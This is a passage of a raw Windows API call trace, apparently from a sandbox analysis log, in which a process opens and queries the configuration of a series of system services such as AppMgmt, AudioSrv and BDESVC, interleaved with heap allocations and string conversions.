CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5097f8 [0027.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5097f8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5097b0 [0027.217] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5097f8) returned 1 [0027.217] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5097b0) returned 1 [0027.217] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef368) returned 1 [0027.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5097b0 [0027.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef368 [0027.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef3f0 [0027.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef478 [0027.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef500 [0027.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef588 [0027.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5097f8 [0027.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x5097f8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0027.217] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509840 [0027.217] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5097f8) returned 1 [0027.217] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509840) returned 1 [0027.217] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef588) returned 1 [0027.217] OpenServiceW (hSCManager=0x6637d8, lpServiceName="AppMgmt", dwDesiredAccess=0x1) returned 0x663968 [0027.217] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0027.218] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.218] GetLastError () returned 0x7a [0027.218] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x106, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.218] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef588 [0027.218] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef610 [0027.218] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef588) returned 1 [0027.218] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef610) returned 1 [0027.218] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef610 [0027.218] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef588 [0027.218] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef610) returned 1 [0027.218] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef588) returned 1 [0027.218] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef588 [0027.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.218] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509840 [0027.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x509840, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.218] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5097f8 [0027.218] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509840) returned 1 [0027.219] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5097f8) returned 1 [0027.219] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef588) returned 1 [0027.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5097f8 [0027.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef588 [0027.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef610 [0027.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef698 [0027.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef720 [0027.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef7a8 [0027.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509840 [0027.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x509840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0027.219] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509888 [0027.219] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509840) returned 1 [0027.219] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509888) returned 1 [0027.219] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef7a8) returned 1 [0027.219] OpenServiceW (hSCManager=0x6637d8, lpServiceName="aspnet_state", dwDesiredAccess=0x1) returned 0x6638c8 [0027.219] CloseServiceHandle (hSCObject=0x663968) returned 1 [0027.219] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.220] GetLastError () returned 0x7a [0027.220] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x150, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x100) returned 0x549fa8 [0027.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef588) returned 1 [0027.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef588 [0027.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef7a8 [0027.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef588) returned 1 [0027.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef7a8) returned 1 [0027.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef7a8 [0027.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0027.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509888 [0027.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state.exe", cchWideChar=16, lpMultiByteStr=0x509888, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state.exe", lpUsedDefaultChar=0x0) returned 16 [0027.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509840 [0027.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509888) returned 1 [0027.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509840) returned 1 [0027.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef7a8) returned 1 [0027.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509840 [0027.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef7a8 [0027.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef588 [0027.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef830 [0027.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef8b8 [0027.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef940 [0027.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0027.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509888 [0027.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x509888, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0027.220] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5098d0 [0027.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509888) returned 1 [0027.220] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5098d0) returned 1 [0027.221] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef940) returned 1 [0027.221] OpenServiceW (hSCManager=0x6637d8, lpServiceName="AudioEndpointBuilder", dwDesiredAccess=0x1) returned 0x6639b8 [0027.221] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0027.221] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.221] GetLastError () returned 0x7a [0027.221] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x164, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.221] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef940 [0027.221] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef9c8 [0027.221] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef940) returned 1 [0027.221] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef9c8) returned 1 [0027.221] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef9c8 [0027.221] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef940 [0027.221] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef9c8) returned 1 [0027.221] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef940) returned 1 [0027.221] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef940 [0027.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5098d0 [0027.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5098d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509888 [0027.222] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5098d0) returned 1 [0027.222] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509888) returned 1 [0027.222] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef940) returned 1 [0027.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509888 [0027.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef940 [0027.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef9c8 [0027.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3efa50 [0027.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3efad8 [0027.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3efb60 [0027.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0027.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5098d0 [0027.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x5098d0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0027.222] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509918 [0027.222] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5098d0) returned 1 [0027.222] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509918) returned 1 [0027.222] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3efb60) returned 1 [0027.222] OpenServiceW (hSCManager=0x6637d8, lpServiceName="AudioSrv", dwDesiredAccess=0x1) returned 0x6638a0 [0027.222] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0027.222] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.223] GetLastError () returned 0x7a [0027.223] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x190, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x100) returned 0x54a0b0 [0027.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef940) returned 1 [0027.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef940 [0027.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3efb60 [0027.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef940) returned 1 [0027.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3efb60) returned 1 [0027.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3efb60 [0027.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef940 [0027.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3efb60) returned 1 [0027.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef940) returned 1 [0027.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef940 [0027.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509918 [0027.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x509918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5098d0 [0027.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509918) returned 1 [0027.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5098d0) returned 1 [0027.223] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef940) returned 1 [0027.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5098d0 [0027.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ef940 [0027.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3efb60 [0027.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3efbe8 [0027.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3efc70 [0027.223] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3efcf8 [0027.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0027.224] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509918 [0027.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x509918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0027.224] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509960 [0027.224] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509918) returned 1 [0027.224] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509960) returned 1 [0027.224] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3efcf8) returned 1 [0027.224] OpenServiceW (hSCManager=0x6637d8, lpServiceName="AxInstSV", dwDesiredAccess=0x1) returned 0x663968 [0027.224] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0027.224] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.224] GetLastError () returned 0x7a [0027.224] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x128, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.224] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3efcf8 [0027.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3efd80 [0027.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3efcf8) returned 1 [0027.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3efd80) returned 1 [0027.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3efd80 [0027.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3efcf8 [0027.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3efd80) returned 1 [0027.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3efcf8) returned 1 [0027.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3efcf8 [0027.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509960 [0027.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x509960, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509918 [0027.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509960) returned 1 [0027.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509918) returned 1 [0027.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3efcf8) returned 1 [0027.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509918 [0027.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3efcf8 [0027.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3efd80 [0027.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a1d0 [0027.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a258 [0027.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a2e0 [0027.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0027.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509960 [0027.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x509960, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0027.225] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5099a8 [0027.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509960) returned 1 [0027.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5099a8) returned 1 [0027.225] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a2e0) returned 1 [0027.225] OpenServiceW (hSCManager=0x6637d8, lpServiceName="BDESVC", dwDesiredAccess=0x1) returned 0x6638c8 [0027.226] CloseServiceHandle (hSCObject=0x663968) returned 1 [0027.226] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.226] GetLastError () returned 0x7a [0027.226] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x11e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a2e0 [0027.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a368 [0027.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a2e0) returned 1 [0027.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a368) returned 1 [0027.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a368 [0027.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a2e0 [0027.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a368) returned 1 [0027.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a2e0) returned 1 [0027.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a2e0 [0027.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5099a8 [0027.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5099a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.226] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509960 [0027.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5099a8) returned 1 [0027.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509960) returned 1 [0027.226] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54a2e0) returned 1 [0027.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509960 [0027.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a2e0 [0027.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a368 [0027.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54a3f0 